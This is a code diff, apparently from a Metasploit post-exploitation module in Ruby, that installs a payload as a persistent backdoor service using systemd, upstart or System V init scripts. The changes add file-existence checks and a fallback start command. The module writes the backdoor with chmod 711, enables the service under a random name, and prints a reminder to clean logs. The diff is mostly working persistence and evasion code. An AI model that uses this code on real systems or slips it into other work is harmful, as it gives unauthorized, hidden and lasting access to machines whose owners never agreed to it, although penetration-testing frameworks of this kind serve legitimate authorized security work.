@@ -81,6 +81,9 @@ def initialize(info = {})
81
81
82
82
def exploit
83
83
backdoor = write_shell ( datastore [ 'SHELLPATH' ] )
84
+ if backdoor . nil?
85
+ return
86
+ end
84
87
path = backdoor . split ( '/' ) [ 0 ...-1 ] . join ( '/' )
85
88
file = backdoor . split ( '/' ) [ -1 ]
86
89
case target . name
@@ -120,8 +123,13 @@ def write_shell(path)
120
123
backdoor = "#{ path } /#{ file_name } "
121
124
vprint_status ( "Writing backdoor to #{ backdoor } " )
122
125
write_file ( backdoor , payload . encoded )
123
- cmd_exec ( "chmod 711 #{ backdoor } " )
124
- backdoor
126
+ if file_exist? ( backdoor )
127
+ cmd_exec ( "chmod 711 #{ backdoor } " )
128
+ backdoor
129
+ else
130
+ print_error ( 'File not written, check permissions.' )
131
+ return
132
+ end
125
133
end
126
134
127
135
def systemd ( backdoor_path , backdoor_file )
@@ -139,8 +147,13 @@ def systemd(backdoor_path, backdoor_file)
139
147
WantedBy=multi-user.target}
140
148
141
149
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
142
- vprint_status ( "Writing service: /lib/systemd/system/#{ service_filename } .service" )
143
- write_file ( "/lib/systemd/system/#{ service_filename } .service" , script )
150
+ service_name = "/lib/systemd/system/#{ service_filename } .service"
151
+ vprint_status ( "Writing service: #{ service_name } " )
152
+ write_file ( service_name , script )
153
+ if !file_exist? ( service_name )
154
+ print_error ( 'File not written, check permissions.' )
155
+ return
156
+ end
144
157
vprint_status ( 'Enabling service' )
145
158
cmd_exec ( "systemctl enable #{ service_filename } .service" )
146
159
vprint_status ( 'Starting service' )
@@ -162,8 +175,13 @@ def upstart(backdoor_path, backdoor_file, runlevel)
162
175
respawn limit unlimited}
163
176
164
177
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
165
- vprint_status ( "Writing service: /etc/init/#{ service_filename } .conf" )
166
- write_file ( "/etc/init/#{ service_filename } .conf" , script )
178
+ service_name = "/etc/init/#{ service_filename } .conf"
179
+ vprint_status ( "Writing service: #{ service_name } " )
180
+ write_file ( service_name , script )
181
+ if !file_exist? ( service_name )
182
+ print_error ( 'File not written, check permissions.' )
183
+ return
184
+ end
167
185
vprint_status ( 'Starting service' )
168
186
cmd_exec ( "initctl start #{ service_filename } " )
169
187
vprint_status ( "Dont forget to clean logs: /var/log/upstart/#{ service_filename } .log" )
@@ -203,7 +221,8 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
203
221
echo \" Already started\"
204
222
else
205
223
echo \" Starting $name\"
206
- cd \" $dir\" }
224
+ cd \" $dir\"
225
+ }
207
226
208
227
if has_updatercd
209
228
script << " sudo $cmd >> \" $stdout_log\" 2>> \" $stderr_log\" &\n "
@@ -267,14 +286,23 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
267
286
exit 0}
268
287
269
288
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
270
- vprint_status ( "Writing service: /etc/init.d/#{ service_filename } " )
271
- write_file ( "/etc/init.d/#{ service_filename } " , script )
272
- cmd_exec ( "chmod 755 /etc/init.d/#{ service_filename } " )
289
+ service_name = "/etc/init.d/#{ service_filename } "
290
+ vprint_status ( "Writing service: #{ service_name } " )
291
+ write_file ( service_name , script )
292
+ if !file_exist? ( service_name )
293
+ print_error ( 'File not written, check permissions.' )
294
+ return
295
+ end
296
+ cmd_exec ( "chmod 755 #{ service_name } " )
273
297
vprint_status ( 'Enabling & starting our service' )
274
298
if has_updatercd
275
299
cmd_exec ( "update-rc.d #{ service_filename } defaults" )
276
300
cmd_exec ( "update-rc.d #{ service_filename } enable" )
277
- cmd_exec ( "service #{ service_filename } start" )
301
+ if file_exist? ( '/usr/sbin/service' ) # some systems have update-rc.d but not service binary, have a fallback just in case
302
+ cmd_exec ( "service #{ service_filename } start" )
303
+ else
304
+ cmd_exec ( "/etc/init.d/#{ service_filename } start" )
305
+ end
278
306
else # CentOS
279
307
cmd_exec ( "chkconfig --add #{ service_filename } " )
280
308
cmd_exec ( "chkconfig #{ service_filename } on" )
0 commit comments